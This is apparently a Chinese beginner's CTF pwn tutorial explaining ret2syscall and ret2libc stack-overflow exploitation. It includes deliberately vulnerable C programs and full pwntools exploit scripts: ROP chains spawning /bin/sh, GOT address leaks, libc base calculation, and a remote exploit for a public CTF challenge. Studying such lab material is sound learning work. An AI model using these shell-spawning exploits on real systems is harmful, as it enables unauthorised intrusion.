继上一篇的内容
题目3-ret2syscall
定义
控制程序执行系统调用
原理
不同于之前的 ret2text 和 ret2shellcode 题型,系统调用并不是执行程序中现有的代码或自己写进去的代码,其实就如其字面意思,系统调用就是我们让系统来调用一些函数,那么如何做到让系统来调用,需要满足以下几个条件:
- 某函数的系统调用号【系统调用号表】—— 放在寄存器 eax
- 需传入某函数的参数 —— 放在寄存器 ebx、ecx、edx
- 一个指令 —— int 0x80
int 0x80(软中断)把控制权交给内核,也就是让系统开始来调用某函数
题目
工具:ROPgadget(我的ubuntu里本身就带有这个工具),若要下载:
pip install ROPGadget
或者到 github下载:ROPgadget
(为什么不写源码:这样的题需要挺多的gadget,简单的源码中的gadget是无法满足做这些类型题的要求的,程序要较复杂,代码多点才行,所以这里就不试复原源码了)
通过IDA打开查看漏洞点,有gets函数
经gdb调试得到离返回地址112个字节,那么返回地址我们先要取到 pop eax;ret 这个gadget传系统调用的第一个参数,使用ROPgadget查找gadget
ROPgadget --binary rop --only 'pop|ret' | grep 'eax'
同理查找ebx
有三个参数都有的,那就它了
找/bin/sh字符串
ROPgadget --binary rop --string '/bin/sh'
寻找终止标志
exp
这里我们让系统调用execve函数,其系统调用号为0xb
execve("/bin/sh",NULL,NULL)
from pwn import *
p = process('./rop')
padd = 'A'*112
pop_eax_ret = 0x080bb196 # pop eax; ret
code = 0xb #将execve的调用号pop到eax
pop_edx_ecx_ebx_ret = 0x0806eb90 #pop eax后ret的返回地址就是pop edx;pop ecx;pop ebx;ret的地址
argv3 = 0 #pop第三个参数到edx
argv2 = 0 #pop第二个参数到ecx
argv1_binsh = 0x80be408 #pop第一个参数到ebx
int_80 = 0x8049421 #最后上一个pop三个参数的ret返回int 0x80的地址开始让系统执行函数调用
pload = flat(
[
padd,
pop_eax_ret,
code,
pop_edx_ecx_ebx_ret,
argv3,
argv2,
argv1_binsh,
int_80
]
)
#gdb.attach(p)
p.sendline(pload)
p.interactive()
这里构造的payload和往常的有点不同就是它写入了数组并用flat函数扁平化了,其实主要的原因是,这里像系统调用号、参数0都是数字,在python中没法用相加(+=)的形式与字符串相连,所以放入数组中
下面是我穿了字符串‘0xb’字符串时出现的结果,明显pop eax后,eax中保存的不是0xb数
题目4-ret2libc
原理
当程序的NX enable开启,写入shellcode没有执行权限,又或者程序开有ASLR保护(随机地址),每次执行程序想利用的函数地址都是变化的时,我们就可以考虑用libc里的函数动态得到system函数地址与/bin/sh字符串地址
libc是linux程序都会加载的基础系统库文件,类似于windows的kernel.dll,所以我们在程序中是可以调用这里面库的函数,它是一个C语言库,包括基本的read、write、printf、system等系统函数
利用libc需要知道一些知识点:
1、libc库中,函数与函数之间静态地址间隔是不变的,在动态运行中也一样,例如:
设某函数(设某函数为'?')与system函数间隔值为 diff_system,同理有 diff_binsh,
system_addr 为程序运行时 system 的动态的真实地址,那么
diff_system = libc_?_addr - libc_system_addr = ?_addr - system_addr
diff_binsh = libc_?_addr - libc_binsh_addr = ?_addr - binsh_addr
(libc中的system函数地址与/bin/sh是可以通过pwntools得到的,下面会讲到)
由上面就知道,如果我们能拿到 “?函数” 的真实地址(也是动态变化的),就可以得到system和/bin/sh的地址了
2、如何拿到“?函数”的真实地址呢?,通常我们选择的“?函数”是程序中使用过的,常见的有write、read等等,当然还有__libc_start_main(是程序最初被执行的地方)。他们在程序中有过调用后,我们可以用IDA查看到它的.plt或是.got.plt处的地址。
(“?函数”的.got.plt地址是一个临时地址,这个地址存储着“?函数”的真实地址)
PLT表与GOT表:
PLT为内部函数表,GOT为外部函数表。PLT作为中间表连接call命令与GOT表,GOT表存储的是函数的真实地址
确定寻找的函数是否在libc库里可以:
3、如何利用某函数.plt地址与.got.plt地址获得函数的真实地址,通常exp里会出现二次提交,这里举一个小栗子,可以算是一个常用的获取某函数真实地址的代码模板
#假设我们利用的是write函数,puts函数也可以
#假设漏洞函数是main函数
payload = 'a'*18 + p32(plt_write) + p32(main_addr) + p32(1) + p32(got_write) + p32(4)
#'a'*18:用来填充的padding
#p32(plt_write):write函数的plt地址覆盖返回地址
#p32(main_addr):plt_write结束后的返回地址,上面的这部分exp只是得到了write函数的真实地址,
# 得到后若不返回main函数使程序继续保持运行状态,程序就退出了
#p32(1) + p32(gotplt_write) + p32(4):
#这三个值其实就是我们平常使用write函数时传入的三个参数write(1,got_write,4)
#意思就是写入4个字节,这四个字节就是got_write地址下存储的write真实地址
具体操作步骤
在程序中寻找要利用的函数
示例
下面给出三个例子,由简单到困难,最后一个例子
示例1
C源码:
#include <stdio.h>
#include <stdlib.h>
void binsh(){
puts("Here is the /bin/sh"); //提供/bin/sh字符串
}
int key(){
return system("echo hahaha"); //提供system函数
}
void pwn(){
int a[12];
puts("easy ret2libc:\n");
gets(a);
}
int main(){
pwn();
return 0;
}
编译
gcc -fno-stack-protector -no-pie -m32 -fcf-protection=none -mmanual-endbr -o libc2ret libc2ret.c
这里提一下-fcf-protection=none和 -mmanual-endbr参数,他们是用来消除 endbr32汇编指令的,如果我们不加,用ida查看_system函数所在位置是在.plt.sec段,而不是.plt段,endbr32的出现主要是CET-IBT机制开启,该机制是缓解COP/JOP 攻击的。
解题
这题里即给了system函数也给了/bin/sh
打开ida,f5查看pwn函数,有漏洞利用的gets函数,并且离ebp有38个字节,要覆盖返回地址就需要填充38+4=3c个字节
查看system的plt地址,为0x8049060
可以用之前文章提到过的ROPgedget工具查找字符串/bin/sh,在0x804a014
exp
from pwn import *
p=process('./libc2ret')
plt_system_addr = 0x8049060
binsh_addr = 0x0804a014
pload='a'*0x3c+ p32(plt_system_addr) + 'a'*4 + p32(binsh_addr)
p.send(pload)
p.interactive()
遇到的疑惑与解答:
这里有些人可能会有疑问,为什么见到有些payload是没有为system函数传像'a'*4这样的函数返回地址参数呢?我刚做的时候就有过这个疑问,现在明白了就记录一下:
我们现在重新构造一个payload,注意我用的system的地址,我们直接选用key函数里的call _system作为返回地址
那么payload就是
text_system_addr = 0x80491de
binsh_addr = 0x0804a014
pload='a'*0x3c+ p32(text_system_addr) + p32(binsh_addr)
这里不用再加返回地址参数了,为什么?
因为直接调用 call _system 时,根据call命令的功能,它会先把返回地址压入栈,再跳转到指定函数(即plt的位置),而直接调用plt处的函数是没有压入返回地址参数这一步骤的
示例2
C源码
这个示例去上面代码相似,但我们去掉binsh函数,使没有/bin/sh
解题
程序里没有/bin/sh怎么办? 那我们就写入/bin/sh,程序里只有一个gets,如果用来写入/bin/sh的话,就没法调用system函数,那么我们可以第一次返回地址先调用一次gets,然后再通过一个pop_ebx_ret为调用的gets压入参数并再次retn到system即可
获取pop_ebx_ret 也可以用ROPgedget工具,得到有,地址为0x8049022
$ ROPgadget --binary libc2ret --only 'pop|ret' | grep 'ebx'
0x080492b0 : pop ebx ; pop esi ; pop edi ; pop ebp ; ret
0x08049022 : pop ebx ; ret
exp
这里我们可以把我们的'/bin/sh'字符串写入bss段
from pwn import *
p=process('./libc2ret')
plt_system_addr = 0x8049060
plt_gets = 0x8049040
pop_ebx_ret = 0x8049022
bss_binsh = 0x804c024
pload='a'*0x3c+
p32(plt_gets)+p32(pop_ebx_ret)+p32(bss_binsh)+ #返回地址为gets地址,pop_ebx将bss地址下的内容传给gets,完成pop操作后就是ret
p32(plt_system_addr)+'a'*4+p32(bss_binsh) #ret回system地址,随意填充返回地址,传入bss地址下的binsh字符串
p.sendline(pload) #先提交payload,在运行到gets时程序会停下等待值(bss_binsh)的传入
p.sendline('/bin/sh') #为gets传入值,程序继续运行
p.interactive()
示例3
C源码
将示例1源码中的key函数和binsh函数都去掉
编译暂且不变
解题
根据开始的libc知识点,我们要使用libc库里的函数,找到这些函数在运行程序时加载到的真实地址
我们先找可利用的函数:
这里我们就用puts吧,怎么利用还记得吗,首先要拿到puts函数真实地址(我们已经开了地址随机化),这里可以在ida中查看到,使用pwntools也很方便
获取puts的plt地址和got地址(因为程序用了puts函数,构成got地址泄露)
先给出获取真实地址的部分payload
from pwn import *
p = process('./libc2ret0')
elf= ELF('./libc2ret0')
puts_plt=elf.plt['puts']#0x1050
puts_got=elf.got['puts']#0x3fe0
pwn_addr=0x11bd
pload='a'*0x3c+
p32(puts_plt)+ #调用puts函数
p32(pwn_addr)+ #puts函数结束后的返回地址
p32(puts_got) #puts函数的值,输出puts真实地址
p.sendlineafter("easy ret2libc:\n\n",pload)
puts_addr=u32(p.recv()[0:4]) #接收send pload后得到的前4个字节,即puts的真实地址
下面就是根据libc库中无论静态还是动态,函数之间的间隔值都是不变的特性,获取程序运行时,libc库中system函数与binsh的真实地址
可以用 ldd 查看文件会加载的库文件
后部分的exp
elf_libc = ELF('/lib/i386-linux-gnu/libc.so.6')
puts_libc = elf_libc.symbols['puts'] #puts的偏移
system_libc = elf_libc.symbols['system']
binsh_libc = elf_libc.search('/bin/sh').next()
#方法一
diff_system = puts_libc - system_libc
diff_binsh = binsh_libc - puts_libc
system_addr = puts_addr - diff_system
binsh_addr = puts_addr + diff_binsh
#方法二
#puts = puts_addr-puts_libc #求得基地址(即libc地址与真实地址之间的间隔)
#system_addr = puts+system_libc #在基地址上加上偏移量
#binsh_addr = puts+binsh_libc
ploadl = 'a'*0x3c + p32(system_addr) + 'a'*4 + p32(binsh_addr)
p.sendlineafter("easy ret2libc:\n\n",ploadl)
p.interactive()
exp中的方法二实际上是比较常用的一种方法,我们这里使用方法一更便于理解
注意的问题 毕竟是新手,多多少少做题的时候会遇到点问题的嘛
1. 发送pload时使用p.sendlineafter("easy ret2libc:\n\n"...) 的原因
在这里我直接用 p.send 或是 p.sendlineafter("easy ret2libc:"...) 或是 p.sendlineafter("easy ret2libc:\n"...) 都是无法发送成功的,首先我们写C源码的时候字符串是 "easy ret2libc:\n",然后我们运行程序时,实际上是如下图这样的,输入的位置与字符串之间空了一行,也就是说他还会自动加一个"\n",所以我们这里要用 "\n\n"
2. 我们本地自己编译的文件使用了 ldd 查看 libc文件
其实libc文件在不同版本与系统中是有所差别的,所以知道这个程序用的到底是哪一个libc库直接影响我们的成功与否,这里我们使用 ldd 来查看程序加载的libc库文件,但其实我们还常用一个工具就是 LibcSearcher ,他会帮我们自动查找相应的libc库,在平常需要远程连接 ctf题的时候用它是最好的。这题我没有用这个工具是因为这个工具里没有找到我这个程序匹配的libc文件,远程的用ldd又不怎么有效。
示例3+ (64位)
这里练一个64位的ctf题,64位在ctf题中很常见,而且和32位也有些区别
题目地址: ciscn_2019_c_1
题解
首先它说明系统是Ubuntu18,这个版本系统有个特点就是在调用system函数时要求字节对齐,栈的字节对齐,实际是指栈顶指针须是某字节数的整数倍,某字节数通常是1,2,4,8。
先check一下程序,64位,NX开着
用ida查看下漏洞函数,从左边函数栏看到有puts和gets函数,main函数里没有什么利用点
进入encrypt函数,又可以直接利用的gets,gets的参数s也知道离rbp有50h
知道这个我们就可以开始写exp了,一般的ret2libc的exp其实基本上就一个模板
64位是先传参,而32是栈里面传参是后传参。64位程序的参数从左到右依次放入寄存器: rdi, rsi, rdx, rcx, r8, r9中。
看下面的exp进行理解:
这里我们就用了LibcSearcher工具
from pwn import *
from LibcSearcher import *
context(os='linux',arch='amd64',log_level='debug')
#p = process('./ciscn_2019_c_1')
p = remote('node4.buuoj.cn',28075)
elf = ELF('./ciscn_2019_c_1')
puts_plt=elf.plt['puts']
puts_got=elf.got['puts']
main_addr=elf.sym['main']
pop_rdi=0x0000000000400c83 #用来传参的gedget
pload1='a'*0x58+
p64(pop_rdi)+p64(puts_got)+ #pop第一个参数rdi,这个参数是puts_got
p64(puts_plt)+ #覆盖返回地址的要调用的函数
p64(main_addr) #puts_plt的返回函数地址
p.sendlineafter('Input your choice!\n','1')
p.sendlineafter('Input your Plaintext to be encrypted\n',pload1)
p.recvuntil('Ciphertext\n') #这里的接收根据实际运行程序是的效果来判断
p.recvuntil('\n')
puts_addr=u64(p.recvuntil('\x7f')[-6:].ljust(8,'\x00')) #在下面单独讲
#puts_addr=u64(p.recvuntil('\n')[:-1].ljust(8,'\x00')) #这个也可以,我认为上面的更好理解
#puts_addr=u64(p.recv(8)) #在64位一般这种方式会有问题
libc = LibcSearcher('puts',puts_addr) #自动找libc并算puts偏移(根据puts的最后12位找对应的libc)
libcbase = puts_addr - libc.dump('puts') #得到基地址
system_addr = libcbase + libc.dump('system') #基地址+函数偏移=函数地址
binsh_addr = libcbase + libc.dump('str_bin_sh')
ret=0x4006b9 #用来字节对齐的ret的地址
p.sendlineafter('Input your choice!\n','1')
pload2 = 'a'*0x58+p64(ret)+p64(pop_rdi)+p64(binsh_addr)+p64(system_addr)+p64(1) #ret字节对齐在下面讲
#gdb.attach(p) 这里没有调试成功,因为远程连接问题
p.sendlineafter('Input your Plaintext to be encrypted\n',pload2)
p.interactive()
exp中单独讲下两个我认为不是很好理解的问题:
1. puts_addr=u64(p.recvuntil('\x7f')[-6:].ljust(8,'\x00')) 理解
- u64是用来解包的,将整形转为字符型,也就是说里面接收的应该是字节流
- l.just(8,'\x00')指取8个字节,不够的用\x00,即0来填充
- p.recvuntil('\x7f')[-6:] 指从遇到 '\x7f' 开始接收,\x7f是64位程序函数地址的默认开头,-6就是从倒数第6个字节开始取,看下图,是第一次发送pload和接收到的数据
内存中字节是反着放的,我们要从后往前读数据不知道的想了解为什么的小伙伴推荐看一下《深入了解计算机系统》的第三章。我们recv的时候,是从输出的地方接收这样的字节流,看到接收的部分,recvuntil('\x7f')的时候,一识别到“7f”,它就从向后的第六个字节(即c0)开始取,取得字节流 c0 a9 92 f6 f8 7f ,u64解包后得到puts_addr字符串地址0x7ff8f892c0
2. 为什么要ret字节对齐的
我对这个原因并没有理解的很深刻,但有个简单的理解,就是字节对齐要求最后的栈顶指针是1,2,4或8字节整倍数,这里是8字节,想了解字节对齐的小伙伴推荐看一下《深入了解计算机系统》的第三章,我们看一下debug时的字节流
失败,没加ret时,栈指针偏移是70
成功,加ret时,栈指针偏移是80
目前我只能这样理解
在去掉 -no-pie 后获取puts_addr时会出问题,还没解决,在后续中又提吧
小白一只,文章中很多都是个人理解,如有问题欢迎提出
待后续...
参考链接:
https://blog.csdn.net/weixin_30702887/article/details/97950553
https://ctf-wiki.org/pwn/linux/user-mode/stackoverflow/x86/basic-rop/#ret2syscall
https://blog.csdn.net/qq_51032807/article/details/114808339